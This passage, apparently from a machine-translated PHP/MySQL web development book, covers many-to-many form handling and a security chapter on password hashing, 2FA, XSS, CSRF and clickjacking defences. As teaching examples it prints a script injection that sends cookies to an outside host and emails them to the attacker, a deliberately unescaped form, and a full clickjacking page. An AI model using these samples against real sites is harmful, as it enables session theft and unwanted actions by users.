函数。 - 成员窗口中的
HaveChoice
函数被调用,它将名称放入成员表单上的可见名称字段,并将外键放入隐藏字段。
此时,用户可以验证选择的专业是否正确,并点击保存按钮更新member
表。
在您自己的应用中,您可能想要一个更光滑的用户界面,但是您仍然可以利用这种在表单之间传递数据的技术。
处理多对多关系
多对多关系比那些包含外键的表单更简单,因为你不需要像MadeChoice
和HaveChoice
函数中那样复杂的 JavaScript 来将数据从一个窗口复制到另一个窗口。当然,有一个表可以实现多对多关系,但是它不会以任何形式出现,并且可以在后台更新。
举个例子,假设 Butterfly Club 希望接纳拥有多项专长的会员,使member
和specialty
桌之间的关系成为多对多关系。
为了实现这一点,我添加了一个新表member_specialty
,它有两列,共同构成主键:member_id
和specialty_id
。一排意味着那个成员有那个专长。具有相同member_id
的多行意味着该成员具有多个专业。
为了显示成员的专长,我将窗口分成两半,并在列表中显示他或她的专长,以及两个按钮,删除选定和添加,如图图 5-22 所示,其中 Eleanor 有两个专长。
图 5-22 。显示专业的表格
为了展示特色,我修改了action_detail
方法来输出一个 HTML 表,带有主表单,在左边显示member
表的字段,在右边显示一个新表单。我不会展示左半部分的代码,因为它与我已经展示过的相似,但是清单 5-33 展示了显示右半部分的方法。
清单 5-33 。窗体右半部分的方法
protected function show_form_right($member) {
$member_id = $member['member_id'];
echo <<<EOT
Specialties
<form action='{$_SERVER['PHP_SELF']}'
method=post accept-charset=UTF-8>
EOT;
if (isset($member_id)) {
$stmt = $this->db->query('select specialty_id, name
from specialty
join member_specialty using (specialty_id)
where member_id = :member_id',
array('member_id' => $member_id));
echo '<select name=specialties size=10
style="min-width:100px;">';
while ($row = $stmt->fetch())
echo "<option
value={$row['specialty_id']}>{$row['name']}</option>";
echo '</select>';
}
echo <<<EOT
<br><input class=button type=submit
name=action_delete_specialty value='Delete Selected'>
<br><input class=button type=button
value='Add'
onclick='ChooseSpecialty($member_id);'>
<input type=hidden name=member_id value=$member_id>
</form>
EOT;
}
参数是一个列值数组,这里称为$member
,而不是通常的$row
,以免与函数内部的查询结果混淆。
该查询在specialty
和member_specialty
表之间进行连接,以查找该成员的专长。他们每个人都成为一个select
领域的option
。出现的是专业名称,所以用户会看到它,但是主键specialty_id
是值。
删除选中的按钮导致页面在action_delete_specialty
方法被调用,这在清单 5-34 中。它捕捉并重新抛出一个异常,这样如果有错误,表单将被重新显示。注意,要删除的specialty_id
(只允许一个)是select
字段的值,其名称是specialties
(粗体显示)。
清单 5-34 。action_delete_specialty
方法
protected function action_delete_specialty() {
try {
if (isset($_POST['specialties'])) {
$this->db->query('delete from member_specialty
where member_id = :member_id and
specialty_id = :specialty_id',
array('member_id' => $_POST['member_id'],
'specialty_id' => $_POST['specialties'] ));
}
}
catch (\Exception $e) {
$exc = $e;
}
$this->action_detail();
if (isset($exc))
throw $exc;
}
右边的另一个按钮 Add 使用了我之前展示的相同的ChooseSpecialty
JavaScript 函数,只是这次参数是主键member_id
,它将是member_specialty
表中的外键。您应该还记得,ChooseSpecialty
用参数choose
和id
执行specialty.php
程序。
由于specialty.php
必须更新member_specialty
表,而不是像上一节那样仅仅将一个specialty_id
和name
返回给成员表单,因此其action_find
中的处理与我在清单 5-32 中展示的不同。为了使代码更清晰,它会调用另外两个方法中的一个,这取决于您是否定义了 choose 参数。
protected function action_find() {
if (isset($_REQUEST["choose"]))
$this->action_find_choices();
else
$this->action_find_normal();
}
当从菜单栏执行specialty.php
时,方法action_find_normal
用于正常的 CRUD 情况。这是我们关心的另一个方法,它显示了一个带有复选框的未选择的专业列表,如图图 5-23 所示。代码在清单 5-35 中。
图 5-23 。选择专业的表格
清单 5-35 。action_find_choose
选择专业
protected function action_find_choices() {
$url = $_SERVER['PHP_SELF'];
$member_id = $_REQUEST['id'];
$stmt = $this->db->query('select specialty.specialty_id, name
from specialty
left join member_specialty on
specialty.specialty_id = member_specialty.specialty_id and
:member_id = member_specialty.member_id
where name like :pat and member_id is null',
array('pat' => "{$_POST['name']}%",
'member_id' => $member_id));
if ($stmt->rowCount() == 0)
$this->message('No unchosen specialties found', true);
else {
echo <<<EOT
<p>Unchosen Specialties
<form action=$url method=post>
EOT;
while ($row = $stmt->fetch()) {
$name = $row['name'];
$pk = $row['specialty_id'];
echo <<<EOT
<p class=find-choice>
<input type='checkbox' name=specialty[$pk]>
$name
EOT;
}
echo <<<EOT
<p>
<input type=hidden name=member_id value=$member_id>
<input class=button type=submit
name=action_add value='Add Specialties'>
</form>
EOT;
}
}
这种方法有几个值得注意的地方。
- 为了获取那些尚未选择的专业,我将
specialty
表与member_specialty
表连接起来,并获取没有出现在后一个表中的专业。注意,member_id
在连接条件中(粗体),但是在where
子句中有一个测试来证明它为空。(我本来可以使用子查询,但是我认为它是一个“左非连接”) name=specialty[$pk]
复选框的属性导致 PHP 将$_REQUEST['specialty']
变成一个数组,我将在清单 5-36 中展示。我只想要所选行的主键,我将把它们作为数组下标。
你可以在清单 5-36 (粗体)中的action_add
方法中看到specialty_id
值的数组是如何被访问的。
清单 5-36 。action_add
专业方法
protected function action_add() {
if (isset($_REQUEST['specialty'])) {
foreach ($_REQUEST['specialty'] as $specialty_id => $v )
$this->db->query('insert into member_specialty
(member_id, specialty_id)
values (:member_id, :specialty_id)',
array('member_id' => $_REQUEST['member_id'],
'specialty_id' => $specialty_id));
$this->message('Added OK. Window may be closed.',
true);
}
else
$this->message('No specialties were added.');
}
在这个循环中,所有需要做的就是为member_id
(在清单 5-35 中作为隐藏字段传递)和specialty_id
插入一个新行。该行肯定不会出现(这将违反主键的唯一约束),因为选择表单中只显示了尚未选择的专业。
我忘了一件重要的事情:会员窗口在添加专业之后没有显示任何新的东西;你必须手动重新加载。我让您添加必要的 JavaScript 来使specialty.php
更新成员窗口。(提示:在成员窗口中调用一个 JavaScript 函数,通过window.opener
引用它,就像我在“带有外键的表单”一节中对MadeChoice
函数所做的那样)
诚然,从六个专业中选择一个需要很多代码,正如我所说的,会员表单上的下拉菜单也可以,如果不是更好的话。但是我想展示更难的情况,因为有时会有数百甚至数千个选择,用户会希望使用完整页面的所有功能来进行选择。
在这一节和前一节之间,您将发现为一对多关系和多对多关系的“多”方面开发自己的用户界面所需的所有编码技巧。基本上,这两种选择是“传递表单”和“更新关联表”
章节总结
- 使用 PDO 从 PHP 访问 MySQL,因为它在出错时抛出异常,容易处理参数化查询,并且独立于数据库。
- 将
sql_mode
设置为traditional
,将innodb_strict_mode
设置为on
。 - 将数据库凭证放在它们自己的文件中。
- 如果 SQL 语句的任何部分包含运行时提供的值,请始终使用参数化查询。不要将任何包含数据值的 PHP 变量放在传递给任何使用 SQL 语句的方法的字符串中。
- 大多数 MySQL 交互可以通过两种方法处理,
DbAccess::query
和DbAccess::update
。 - 一个通用的页面框架,在一个
Page
类中,确保所有需要的处理在每个页面上执行,并且页面有一致的外观。 Page
类中的代码使动作按钮调用按钮所在页面中的动作方法,从而提高了内聚力。- 除了登录页面之外,应用页面应该在会话中运行,并且会话 id 必须保密。
- 为了安全起见,应用应该对任何包含会话 cookie 或敏感数据(如用户 ID 或密码)的页面使用 SSL(以
https
开头的 URL)。对于大多数应用,这意味着所有页面。 - 任何写入页面的用户提供的数据都应该由
htmlspecialchars
处理。 - 如果用户成功登录,登录页面将启动会话。注销页面(或登录页面中的注销方法)会破坏会话。
- 一对多关系的“多”方可以通过一个弹出窗口来处理,该窗口修改父窗口(
window.opener
)中的字段(通信表单)。 - 通过修改关联表,然后将结果反映在表单的列表中,可以处理多对多关系。
六、安全性、表单和错误处理
破译艺术最独特的特征之一是每个人都有一种强烈的信念,即使对它不太熟悉,他也能构造出一个别人无法破译的密码。
查尔斯·巴贝奇(1864 年)
本章建立在前一章的结构相关主题的基础上,更详细地讨论了安全性、表单、登录和注销以及错误处理。我首先从总体上回顾 PHP 安全性,然后通过具体的编码示例来具体讨论。
PHP 安全性概述
我首先回顾了一些重要的 PHP 安全问题,并给出了一些断章取义的代码示例。稍后,当我展示更完整的表单处理和登录示例时,您将看到如何在实际的应用中处理这些安全问题。
太多的 PHP 书籍和文章以简单的方式处理这些安全问题,可能是为了避免变得太复杂。或者,也许只是太少的作家明白正确的做事方式。无论如何,我不会在那个组里。我将只介绍可用的最佳方法,如果按照规定使用,将使您的应用免受所有最常用的安全攻击。
电脑必须被保护起来
在这一节中,我将讨论一个压倒一切的安全弱点:如果攻击者可以访问您的计算机,也许是通过以某种与您的 PHP/MySQL 应用的安全性无关的方式安装可执行程序(例如,通过电子邮件分发的恶意软件),那么一切都完了。PHP 的安全性通常依赖于浏览器 cookiess 的安全性,所有重要的会话 ID 都保存在 cookie 中,一旦它们被泄露,您的会话就很容易被劫持。
例如,Chrome 浏览器将其 cookies 保存在 SQLite 数据库中,您可以使用 SQLite 数据库浏览器进行查询,如图 6-1 所示,其中显示了一个会话 ID。请注意,尽管它是一个会话 cookie,并且应该在浏览器退出时被删除,但它仍然保存在一个文件中。Safari 和 Internet Explorer 做得稍微好一点,因为它们将会话 cookie 保存在浏览器的内存中,但您仍然可以轻松查看持久 cookie。
图 6-1 。用 SQLite 数据库浏览器访问 Chrome cookie
即使 cookies 没有被访问,在您的计算机上执行的恶意软件也可以做其他事情来破坏应用的安全性,例如,捕获击键并将它们发送到攻击者的网站。因此,不言而喻,我在这里提出的关于保护 PHP/MySQL 应用的所有建议都假设用户的计算机没有被入侵。
当然,服务器也不能妥协。如果是这样,应用代码可能被恶意修改,MySQL 数据库也可能被破解。
密码强度
黑客可以通过两种基本方式从前门进入系统,即在登录表单中输入正确的用户 ID 和密码。
- 窃取 : 在入室行窃或提钱包后找到写在纸上的用户 ID 和密码,或强行从用户处提取。
- 猜测 : 尝试数百万,甚至数十亿个密码来找到一个有效的。
如果密码被盗,再强也没用。防止窃取也超出了 PHP 应用的范围,因为这是用户的责任。
好的密码确实让猜测更加困难。一旦黑客得到散列密码列表(见下一节)并开始运行一个破解程序,简单的将首先倒下。一个好的密码应该在百分之几没有被破解的地方。黑客也可以通过登录页面尝试猜测,但这要慢得多,而且不太可能产生超过几个容易猜到的密码。
根据 2013 年 5 月的一篇文章Ars Technica(http://arstechnica.com/security/2013/05/how-crackers-make-minced-meat-out-of-your-passwords/
),黑客每秒钟可以测试几千个密码;如果哈希使用快速算法,这个数字会上升到每秒数十亿。以这样的速度,所有可能的六字符密码都可以在几分钟内被破解。接下来,可以尝试字典单词,来自两种字典:几种语言的普通字典,以及常用密码列表,最初是通过破解以纯文本形式存储密码的网站获得的。然后,黑客可以尝试字典单词的组合。因为如此多的密码是脆弱的,而且破解速度如此之快(显卡上的并行处理),所以 90%的哈希已知的密码在几个小时内被破解并不罕见。
我将描述减缓破解的技术,但是,随着计算机,尤其是显卡越来越快,这是一场永无止境的军备竞赛,所以好的密码是必不可少的。
一个好的密码既长又没有可猜测的模式。用数字和符号代替字母(p@$$w0rd)和使用基于键盘布局的模式(qetuoljgda)都不符合标准。像 XzC^CRJ*38ly 这样的密码是一个好密码(它是由 LastPass 密码管理器生成的)。
作为一名 PHP 应用程序员,你的职责首先是不要通过限制密码的长度或密码可以包含的字符种类来禁止好的密码。令人惊讶的是,我见过一些网站将密码限制在八个或更少的字母和数字字符,这几乎可以保证他们可以被破解。事实上,长度限制表明密码甚至没有被散列,而是作为纯文本存储在固定宽度的数据库列中。
你的第二个责任是鼓励,甚至要求一个像样的密码。至少,您应该在输入密码的表单字段旁边放置某种指示器,以指示它有多好。这里就不展示代码了(你可以在 Apress 网站的源代码/下载区www.apress.com
找到),而是简短的 JavaScript 函数
passwordStrength(password, username)
以短语形式返回密码的强度,可以是“太短”、“弱”、“好”和“强”(username 参数是这样的,任何等于 username 的密码都将得到弱强度。)稍后,在“表单”一节中,我将展示如何在用户输入时在表单上实时显示密码的强度。
由该函数计算的强度很强并不意味着它一定很强,因为该函数不进行任何字典查找。这只是意味着它有一个合理的字母,数字和符号的集合。然而,基于在键盘上来回移动、每隔一个键跳过一次的密码 qetuoljgda 被评为弱密码,而 LastPass 生成的密码 XzC^CRJ*38ly 被评为强密码。可以肯定的是,任何被评为弱的东西都是绝对弱的。
您还可以考虑两个更具侵入性的选项。
- 生成所有密码,而不是允许用户自己设置密码。这样做的问题是,你产生的强词没有一个能被记住,所以它们必须被写下来。
- 要求密码的等级至少是好的,甚至可能是强的。
用户的最佳实践是使用 LastPass 之类的密码管理器(也有其他可用的),让它生成密码,用户不必记住密码,因为密码管理器会记住密码并将其键入登录表单。正如我所说的,这超出了 PHP 开发人员的范围,但至少您可以鼓励用户使用密码管理器。确保流行的管理器使用您的登录和密码更改表单。
哈希密码
这是许多 PHP 程序员犯严重错误的地方,不完全是他们的错,因为我看过的每本 PHP 书籍都推荐了错误的方法。正确的方法有三个要素。
- 哈希算法必须至少在未来几十年内无法逆转,才能迫使破解者猜测。大多数书都对这一部分,建议像 MD5 或 SHA-1。
- 算法必须很慢。大多数散列函数都是为一般的加密用途而设计的,并且自然地,被设计成运行速度很快。但是,想想那些使用配有 25 块最先进显卡的计算机进行并行处理的黑客,你会想要一台运行缓慢的计算机。
- 密码必须用一种盐来加盐,这种盐对于每个哈希都是唯一的。
salt 是一个随机字符序列,在哈希之前与纯文本密码组合在一起。由于每个哈希都不相同,所以它必须存储在密码旁边,以便在对输入到密码表单中的密码进行哈希处理以查看是否匹配时可用。在没有盐的情况下,一个拥有 25000 个散列密码列表的黑客可以用 25000 个密码中的任何一个来测试每个猜测。但是,如果 25,000 个中的每一个都有不同的盐,那么每个猜测(用盐散列)都可以用那个盐的散列来测试。你刚刚增加了 25,000 倍的工作量。
有了安全、缓慢的散列算法和每个密码单独的 salt,您已经尽了最大努力。破解 6 个字符的弱密码和前几轮字典查找需要很长时间,任何像样的 12 个字符的密码都不会被破解。
最好的 PHP 密码散列器是 Phpass,它包含了所有三个基本元素,你可以从openwall.com/phpass
免费下载。在openwall.com/articles/PHP-Users-Passwords
有一篇关于它如何工作以及如何使用的优秀文章,我认为这是任何 PHP 应用开发人员的必读之作。
在“用户表和密码管理”一节中,我展示了集成到登录过程中的 Phpass 你会发现它并不比其他方法更难使用,所以没有理由不使用它。
存储散列密码
Phpass 的输出是一个包含 salt 和 hash 的 60 个字符的字符串,因此您可以将它与用户 ID、电子邮件地址和密码管理所需的其他一些列一起存储到 MySQL 用户表中。(详细信息在“用户表”一节中。))
您可能认为密码应该放在它们自己的表中,或者放在数据库之外的文件中,或者其他地方,但是这些都没有意义。与 salting 和 hashing 不同,salt/hash 的存储依赖于操作系统、Apache、MySQL 甚至备份的安全性,这些备份可能在夜间运营商的汽车后备箱中,在服务器机房后面的垃圾箱中(坏掉的磁盘驱动器所在的地方),在一些有问题的云备份设施上,或者谁知道在哪里。换句话说,黑客拿到你的密码表的机会很大。
也就是说,您仍然应该尽可能地保护数据库,因为除了盐/散列之外,对于窃贼来说,数据库中可能还有更多有价值的信息,例如信用卡账号。
假设 salt/hash 将在脸书上发布,这是考虑密码安全性的一个好方法。你想做什么,以确保,即使有所有的盐/哈希,黑客不能进入。使用 Phpass 是解决方案的一部分,但是您还可以做更多的事情。
双因素认证
双因素身份认证(2FA)意味着密码是一个因素,物理设备是第二个因素——移动电话或插入 USB 端口的专用硬件设备,如 YubiKey。这个想法是,登录需要密码和通过短信发送到手机的随机码,或者由硬件设备生成的密码。你知道的,加上你拥有的。中国的黑客不会有物理设备,所以即使有世界上最快的破解计算机,也无法侵入无线运营商,这实际上是可能的,或者破解硬件设备,这可能是不可能的。
第一阶段,提供您的用户 ID 和密码,我称之为 2FA 第一阶段。我们在 2FA 阶段 2 中使用第二个因素。
2FA 的另一个优势是,如果你丢失了物理设备,你知道它不见了,尤其是如果它是一部电话。你无法知道你的密码是否被猜到了。
截至 2013 年春季,一些大型网站开始使用 2FA(也称为两步认证),如谷歌、Dropbox、LastPass 和 Twitter。正如我在本章后面所展示的,它非常容易实现,并且增加了大量额外的安全性,所以这是你绝对应该考虑的事情。你的老板或客户可能会拒绝这个想法,但至少作为这本书的读者,你已经看到了希望之乡。
我将在“发送认证码”一节中展示代码,它使用 Twilio 发送随机代码(语音或文本)。还有很多其他类似的服务;我选择 Twilio 只是因为它允许开发人员免费使用它,它有一个可以工作的 PHP API,它的例子很全面,并且它可以处理语音和 SMS(短消息服务,更好的说法是“发短信”)。我还展示了使用 YubiKey 的示例代码。
您可能不想在每次登录时都使用完整的 2FA 第 2 阶段。我将向您展示如何使用一个安全的 cookie 来存储一个验证令牌,以便在每台计算机上每 30 天(或者您选择的任何时间)只需使用一次完整的 2FA 阶段 2。在这 30 天的时间里,这是一个半因素,因为除了密码之外,黑客还必须获得访问 cookie 的权限,而且,如果您使用 SSL(安全套接字层),您应该使用 SSL,访问 cookie 需要物理访问计算机,而黑客通常没有这种权限。
SQL 注入
我在这里提到 SQL 注入只是为了使 PHP 安全问题的列表完整。正如我在第五章的中解释的,只要 SQL 语句包含用户提供的值,就使用参数化查询完全消除了 SQL 注入的可能性。
跨站点脚本
跨站脚本,或 XSS,有点像 SQL 注入,但它是一种将 HTML 和/或 JavaScript 注入网页的方法,这样就可以发出未经授权的请求。要了解它是如何工作的,请看清单 6-1 中的表单,它只有一个可以输入文本的字段。如果之前已经输入了文本,它会通过文本字段的value
属性显示在表单上。
清单 6-1 。显示先前输入值的简单表单
class MyPage extends Page {
protected function request() {
$val = isset($_POST['field']) ? $_POST['field'] : '';
echo <<<EOT
<form action='{$_SERVER['PHP_SELF']}' method=post
accept-charset=UTF-8>
<input type=text name=field size=115 value='$val'>
<input type=submit name=action_go value=Submit>
</form>
EOT;
}
protected function action_go() {
// ... code to save data ...
$this->message('Saved', true);
}
}
$page = new MyPage('XSS Example', false);
$page->go();
在一个表单中显示先前输入的值是很常见的,我在第四章的许多例子中就是这么做的。
现在,假设一个恶意用户输入了图 6-2 所示的数据。
图 6-2 。恶意数据进入表单
有了这个条目,单击按钮后,PHP 编写的表单域就变成了(添加了换行符)
<input type=text name=field size=115 value=''>
<script>window.location=" http://basepath.com/retryaction.php ?
data=" + document.cookie;</script><x ''>
并且 JavaScript 被执行。它会将所有的 cookie(document.cookie
)作为参数发送到 web 页面retryaction.php
,攻击者已经将其编码为
mail(' cookie@basepath.com ', 'cookie', $_REQUEST['data']);
echo <<<EOT
Sorry, the web server was unable to process the command.
Please try again.
EOT;
它通过电子邮件将 cookies 发送给攻击者,然后向用户显示一条消息,用户认为服务器出现了某种问题。(当然有——防 XSS 失败!)
在我的例子中,没有危险,因为“恶意”用户也是授权用户。但是,假设这是一个允许用户发布消息供他人阅读的社交网站。一条消息可能包含与示例格式类似的 JavaScript,然后该 JavaScript 将由阅读该消息的每个人执行,可能有数百人。他们甚至不需要点击任何东西——仅仅查看消息就足够了。攻击者现在拥有该站点所有人的 cookies。
显然,XSS 是相当认真的。但是,通过确保写入浏览器的任何用户提供的值都正确转义了 HTML 字符,您可以从应用中完全消除它。真正重要的是<
,但是避开它们是个好主意,即使只是为了表面上的原因。
这就是为什么在我之前的所有例子中,我总是使用htmlspecialchars
函数来处理用户提供的写入浏览器的任何内容。正如我在第四章中展示的,我使用了便利函数。
function htmspecial($s) {
return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
所以,如果你努力使用htmlspecialchars
,你就可以免受 XSS 的攻击。如果您确实希望允许用户提供带格式的文本,要么使用 Markdown ( 第二章)或者,如果您必须允许 HTML,对输入进行完整的解析,这样您就可以过滤掉任何恶意的内容,比如 JavaScript、按钮或表单。
最近,一些浏览器已经实现了部分 XSS 保护,方法是检查请求中是否出现了任何已执行的脚本,在前面的示例中就是这种情况,因为脚本出现在 POST 数据中。这种保护(在谷歌 Chrome 中称为 XSS 审计员)是有帮助的,但它不是一个完整的解决方案,所以继续使用htmlspecialchars
。
跨站请求伪造
跨站请求伪造(CSRF)与 XSS 完全不同,甚至没有以同样的方式缩写“跨站”。XSS 攻击包括将脚本注入到应用生成的 HTML 页面中。CSRF 涉及一个完全不同的应用,它试图代表一个没有怀疑但经过授权的用户向您的应用发送请求。
CSRF 的攻击可能是这样的:攻击者使用你的应用fluffywarm.com
,购买一些羊毛手套,或者你正在出售的任何东西,了解它是如何工作的,并捕获一些样本 HTML 页面。然后,他或她建立了一个诱人的网站cheapfluffy.com
,以很低的折扣出售羊毛围巾。嗜羊毛成瘾的受害者需要一些蓬松温暖的东西,就去攻击者的网站浏览,但那里看似无害的购物页面却做了一些额外的事情:他们使用 JavaScript 向fluffywarm.com
发送请求,完成授权,因为用户仍然登录到fluffywarm.com
并拥有适当的 cookie。几天后,攻击者得到一些手套作为“礼物”
XSS 捎带上了属于你的应用的一个页面;CSRF 完全使用另一个网站上的代码来访问您的应用。在这两种情况下,似乎是发起访问的用户得到了授权,但并不知道幕后发生了什么。
没有一种 XSS 防御方法对 CSRF 有效,因为恶意页面来自攻击者的站点,而不是您的站点,而且您无法控制那里的页面是如何编码的。起作用的是确保对应用的任何请求都来自应用生成的 HTML 页面,而不是来自另一个站点。
防止 CSRF 攻击最常见、最有效的方法是嵌入一个秘密代码,我称之为 csrftoken ,对每个会话、每个表单和每个按钮都是唯一的。任何进来的请求都必须有那个代码,否则就会被拒绝。来自另一个站点的脚本无法获得代码,就像它无法获得会话一样,因为浏览器强制执行同源策略(SOP ),阻止一个站点的代码读取另一个站点的输出。(XSS 的攻击可以得到它,但你可以阻止 XSS,正如我解释的那样,所以这不会发生。)
csrftoken 可以由添加到Page::start_session
函数中的代码生成,我在第五章的的“PHP 会话”一节中介绍了这个函数。
public function start_session() {
ini_set('session.use_only_cookies', TRUE);
ini_set('session.use_trans_sid', FALSE);
session_name(SESSION_NAME);
session_start();
if (empty($_SESSION['csrftoken']))
$_SESSION['csrftoken'] =
bin2hex(openssl_random_pseudo_bytes(8));
}
每个表单都必须在隐藏字段中包含该代码。我将在本章后面展示一个自动处理这个问题的Form
类。它有效地把
<input type=hidden name=csrftoken value={$_SESSION['csrftoken']}>
变成各种形态。清单 5-23 中的所示的Page::perform_action
方法在调用动作之前添加了代码来检查 csrftoken:
if (!$this->security_check())
throw new \Exception('Invalid form');
方法Page::security_check
是
protected function security_check() {
if (isset($_SESSION) && (!isset($_POST['csrftoken']) ||
$_POST['csrftoken'] != $_SESSION['csrftoken']))
return false;
return true;
}
与会话 ID 一样,csrftoken 的保密非常重要,这意味着它不应该出现在浏览器的 URL 字段中,因此所有包含它的请求都必须使用 POST 而不是 GET。这使得将请求编码为按钮有点困难。如果你用最简单的方法编码这个按钮
<button type=button onclick='window.location=
"member.php?csrftoken={$_SESSION['csrftoken']}";'>Go</button>
csrftoken 出现在浏览器中,如图 6-3 所示。
图 6-3 。csrftoken 出现在浏览器(坏)
使用 GET 的另一个地方是在公共代码中,通过在输出中放置一个头,在一些处理之后将用户转移到不同的页面。
header("Location:member.php?csrftoken={$_SESSION['csrftoken']}");
虽然攻击者可能没有注意到你,但是出现在浏览器中的任何内容都很容易被粘贴到论坛消息或电子邮件中,这不是处理秘密的方法。按钮和页面传输应该使用 POST,我将在“用 POST 提交请求”一节中解释如何做
有时 PHP 程序员会尝试其他技术来消除 CSRF 攻击,比如检查 referrer(产生请求页面的站点)甚至客户端的 IP 地址。然而,第一个是无效的,因为推荐人很容易被伪造,第二个是不切实际的,因为 IP 地址并不总是可用的,有时过于动态而不可靠。您只需要一个 csrftoken。
点击劫持
点击劫持不涉及 XSS 或 CSRF 的攻击;提交到您的应用的请求是完全合法的,您生成的 web 页面上的任何内容都没有以任何方式被修改。被“劫持”的是一个按钮点击。
它的工作原理是这样的:攻击者在你的网站上找到一个页面,只需点击一个按钮就可以实现想要的动作,比如图 6-4 中的账户页面,有一个禁用 2FA 的按钮。
图 6-4 。带有禁用 2FA 按钮的表单
然后攻击者精心设计另一个页面,在与 Disable 2FA 按钮相同的位置放置一个诱人的按钮,如图图 6-5 所示。
图 6-5 。竞赛参赛页面覆盖账号页面
图 6-6 显示了重叠的两个页面,所以你可以看到输入比赛和禁用 2FA 按钮是重合的。
图 6-6 。竞赛参赛页面覆盖的帐户页面
诀窍是:竞赛入口页面也加载帐户页面,但是是透明的iframe
,使它不可见,但是仍然是活动的,因为它在上面。当用户认为他或她点击进入比赛时,实际点击进入顶部的透明页面,这禁用了 2FA。由于请求是针对合法页面的,并且用户已经登录,因此攻击成功。当然,只有在进入大赛的同时登录你的应用的用户才会受到影响,但是如果你的应用和大赛都非常受欢迎,那么会有几十万的用户。如果攻击者以某种方式获得了密码,没有 2FA,他或她就可以闯入。
竞赛页面的代码非常简单。它从我的开发系统(localhost
)加载帐户页面,但实际上它将从fr-butterfly.org
加载,或者从俱乐部的域加载。它显示在清单 6-2 中,你会喜欢自己弄清楚它。(提示:诡计以粗体显示。)就是这么简单,好吓人。
清单 6-2 。点击劫持比赛-参赛页面的 HTML】
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset=utf-8>
<title>Contest Entry</title>
</head>
<body>
<div style=' z-index:2 ' position:absolute; top:0; left:0;
width:70%; height:70%'>
<iframe src=' http://localhost/EPMADD/06-PHP/account.php '
style=' opacity:0 ' width=100% height=100%></iframe>
</div>
<div style=' z-index:1 ' position:absolute; top:0; left:0;
width:70%; height:70%; background-color:yellow;'>
<div style='margin-left: 10px;'>
<p style='font-size:30px; font-style:italic;'>
Movie Contest Promotion
<p style='font-size: 18px;'>
To enter the contest and receive
<br>
two free movie tickets, click the
<br>
button below.
<br>
(We already have your email.)
<p style='position:absolute; top:272px; left:20px ;'>
<button>Enter Contest</button>
</div>
</div>
</body>
</html>
幸运的是,有一个简单的方法可以防止点击劫持:在任何 HTML 中总是包含一个X-Frame-Options
头。
header('X-Frame-Options: deny');
该标题阻止浏览器将页面加载到iframe
中。Page
类在每个页面上发布这个头,因为我的任何应用都不需要使用iframe
。如果你使用它们,而不是deny
,你可以指定sameorigin
,这同样安全,因为它将iframe
限制在与页面本身相同的原点。
当我用这个随账户页面一起发送的标题重新加载竞赛页面时,竞赛表格(图 6-5 )出现了,但是iframe
里什么也没有。在浏览器中查看 JavaScript 控制台显示了图 6-7 中的消息。禁止点击劫持!
图 6-7 。X-Frame-Options 标题防止点击劫持
逆转 CSS 攻击
没有任何反向 CSS 攻击,我甚至不知道“反向 CSS”是什么意思。我编出来是为了表明一个观点:我们有一个威胁类型的动物园,SQL 注入,XSS,CSRF,点击劫持。这就是未来的全部吗?我对此表示怀疑。一年、两年或十年后,肯定会有一些全新的、意想不到的东西出现。毕竟,clickjacking 在opacity:0
属性出现之前是不可能的,而 HTML 正一如既往地被积极开发,那么他们下一步会想到什么呢?
你最好让自己跟上新的威胁,逆向 CSS,或任何他们可能被称为。一个定期检查的好网站是owasp.org
,开放 web 应用安全项目。(这些都是坚韧的人;甚至他们的信息主页也使用 SSL。)
`如果有人用反向 CSS 闯入你的网站,记住我是第一个警告你的人。
使用帖子提交请求
用 POST 而不是 GET 提交请求使得攻击者更难侵入,因为必须使用 JavaScript,而像在image src
属性中编写请求这样的简单技巧是行不通的。POST 还可以防止 csrftoken 之类的数据意外地通过电子邮件发送或发布到社交网站上。
唯一应该使用 GET 的请求是那些除了显示页面之外不做任何事情的请求。事实上,HTTP 的官方规范 RFC 2612 说“约定已经建立,GET 和 HEAD 方法不应该具有采取除检索之外的动作的意义。”不是不允许,只是劝阻。但你应该表现得好像这是不允许的。
对表单使用 POST 很容易,但对按钮和页面传输就不那么容易了。就是用 PHP 不容易。使用 JavaScript,方法是动态创建一个表单,将其插入到网页中,然后提交。(用户不会看到。)这听起来很可疑,像是 XSS 的攻击,但这是页面设计的一部分,没有任何恶意。
真正的工作由 JavaScript 函数transfer
完成,如清单 6-3 所示(基于 Rakesh Pai 在stackoverflow.com/questions/133925
的代码)。
清单 6-3 。JavaScript Transfer
函数
function transfer(url, params) {
var form = document.createElement("form");
form.setAttribute("method", 'post');
form.setAttribute("action", url);
for(var key in params)
if (params.hasOwnProperty(key))
appendHiddenField(form, key, params[key]);
appendHiddenField(form, 'csrftoken', csrftoken );
$(document).ready(function () {
document.body.appendChild(form);
form.submit();
});
}
function appendHiddenField(form, key, val) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", val);
form.appendChild(hiddenField);
}
下面是transfer
的工作方式:创建一个表单,带有method
和action
属性,类似于我多次展示过的已经用 HTML 硬编码的属性。然后为params
数组的每个元素创建一个隐藏字段并附加到表单中,同时为 csrftoken 创建一个隐藏字段。最后,jQuery 用于在页面加载后提交表单。等待的原因是,在那之前,不能保证存在一个 body 元素来附加表单。
csrftoken 通过添加到清单 5-26 中显示的top.php
文件中的代码(在<script>
元素中)在每页的开头设置为同名 JavaScript 变量的值:
if (isset($_SESSION['csrftoken']))
echo "var csrftoken = '{$_SESSION['csrftoken']}';";
else
echo "var csrftoken = '';";
csrftoken 变量的引用在清单 6-3 中以粗体显示。(这是一种将 PHP 数据传递给 JavaScript 的简单方法。)
使用transfer
功能,按钮可以编码如下:
<button type=button onclick="transfer(loginverify.php',
{'action_start': '1'});">Go</button>
PHP 方法Page::transfer
包装了 JavaScript 函数transfer
。它使得将用户转移到不同的页面变得容易,这代替了编写位置标题,并且具有额外的优点,即它可以在任何时候被调用,而不仅仅是在任何输出被写入浏览器之前,这是标题的一个要求。清单 6-4 显示了Page::transfer
。方法Page::array_to_js
从 PHP 数组中准备一个字符串形式的 JavaScript 数组。对Page::top
的调用确保 JavaScript transfer
函数所需的 JavaScript 和 jQuery 代码已经包含在内。(就一次,因为Page::top
中的require_once
语句,如第五章所示。)
清单 6-4 。Page::transfer
方法
protected function transfer($path, $params = null) {
if (is_null($path))
$path = $_SERVER['PHP_SELF'];
$x = $this->array_to_js($params);
$this->top();
echo <<<EOT
<script>
transfer('$path', $x);
</script>
EOT;
}
private function array_to_js($a) {
